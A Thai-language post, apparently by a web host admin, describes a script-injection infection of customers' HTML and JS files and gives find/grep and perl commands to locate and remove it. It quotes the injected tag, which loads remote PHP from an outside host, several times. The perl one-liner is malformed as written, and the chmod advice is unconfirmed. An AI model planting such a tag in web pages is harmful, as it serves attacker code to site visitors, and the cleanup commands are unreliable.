วันนี้เจอการแทรกสคริปแนวๆ iframe ของลูกค้าบางราย
</head>
<script src=http://achtbanen.org/images/b-one-default.php ></script><body>
( มี <body สำหรับไฟล์ .html.bak ด้วย 0.0)
เป็นการแทรกขั้นเทพกว่าเดิม รู้สึกว่า มันจะแทรกก่อน <body นี่ล่ะครับ
ข่าวดีคือ
-ไฟล์ *.php ไม่มีการติดเลยซักนิด (เท่าที่เห็น หรือเป็นเพราะว่ามันไม่มี นี่ล่ะ)
ข่าวร้ายคือ
- เป้าหมายไม่ใช่ index.html index.htm index.php main.html main.php อย่างเดียว
- *.html โดนหมดดดดด แถม .js ก็โดนด้วย ทุกชื่อไฟล์ที่มันสามารถแทรกโค้ดได้
คำสั่ง find เพื่อดูว่าโดนไฟล์ไหนบ้าง
find / -type f -name '*' -print | xargs grep 'achtbanen' |more
ประยุกต์ ด้วยการสั่งเขียนไฟล์ แล้วดูผ่าน xxx.xxx.xxx.xxx/chk.txt ประมานนี้(ประยุกต์เอาเองโลด)
find / -type f -name '*' -print | xargs grep 'achtbanen' > /var/www/html/chk.txt
วิธีแก้ แบบคนขยัน
1.เข้าไป ftp ดึงมา ลบโค้ดออก แล้วอัพกลับ
2.chmod 404 (ไม่คอนเฟิร์มว่า ช่วยป้องกันหรือเปล่า เทพๆเขาว่ามา)
3.เปลี่ยนพาส ftp
แนะนำเพิ่มเติม ถ้าไม่อยากติดไวรัสอีก
4.ล้างเครื่อง
5.ลง antivirus
6.ใช้ chrome หรือ firefox+noscript
7. วิธีป้องกันไวรัสต่างๆ ฯลฯ
วิธีแก้ แบบคนขี้เกียจ
- หาตำแหน่งโฟลเดอร์ ที่ไฟล์ที่มีไวรัสอยู่ ด้วยโค้ดนี้
find . -type f -name '*' -print | xargs grep 'achtbanen' |more
ก็จะได้ผลลัพธ์ออกมา เช่น
./domains/domains.com/public_html/folder/index.html:<script src=http://achtbanen.org/images/b-one-default.php ></script><body>
…
…
./domains/domains2.com/public_html/folder2/index.html:<script src=http://achtbanen.org/images/b-one-default.php ></script><body>
2.ต่อไปรันด้วยคำสั่งนี้ โดยนับจำนวน path ให้เท่ากับ จำนวน * (ตามสีแดงๆ) เช่น
perl -pi -e ‘s/<script src=http://achtbanen.org/images/b-one-default.php ></script>//g’ ./*/*/*/*/*
แล้วคราวนี้มันก็จะลบโค้ดให้โดยอัตโนมัติ สบายๆ
- กลับไปทำตามขั้นตอนที่ 1-2 ใหม่ จนกว่า จะมีมีการ report ออกมาว่าโดนไวรัสแต่อย่างใด ส่วนวิธีการที่เหลือ ก็ำตามวิธีด้านบนก่อนหน้านั้น เพื่อป้องกัน ระยะยาว
ส่วนไฟล์ .js เข้าไปลบด้วยมือเอาละกัน ขี้เกจหาความง่ายๆล่ะ
ข้อป้องกันพิเศษ ไม่ใช้ ftp ในการอัพโหลดไฟล์ใดๆเลย 0.0 (สำหรับผู้มี ssh ใช้ winscp หรือ putty command เอา 0)
แค่นี้ก็เสร็จแล้วครับผม
lol
ปล1.สามารถนำไปประยุกต์กับพวกไวรัส iframe หรือโค้ดต่างๆ อันไม่ถึงประสงค์ 0
ปล2.บทความเหมาะสำหรับผู้ดูแลที่ใช้ ssh ได้ หรือ shell script บน server ได้ จะเหมาะกว่า
ปล3.ขอบคุณความช่วยเหลือจาก พี่ไอซ์ (icez) , พี่ตี่ (hack3rb43), พี่แบงค์ (BestThaiHost), พี่ไก่ (Thaitumweb) แห่ง thaihosttalk.com และ google.com
refer: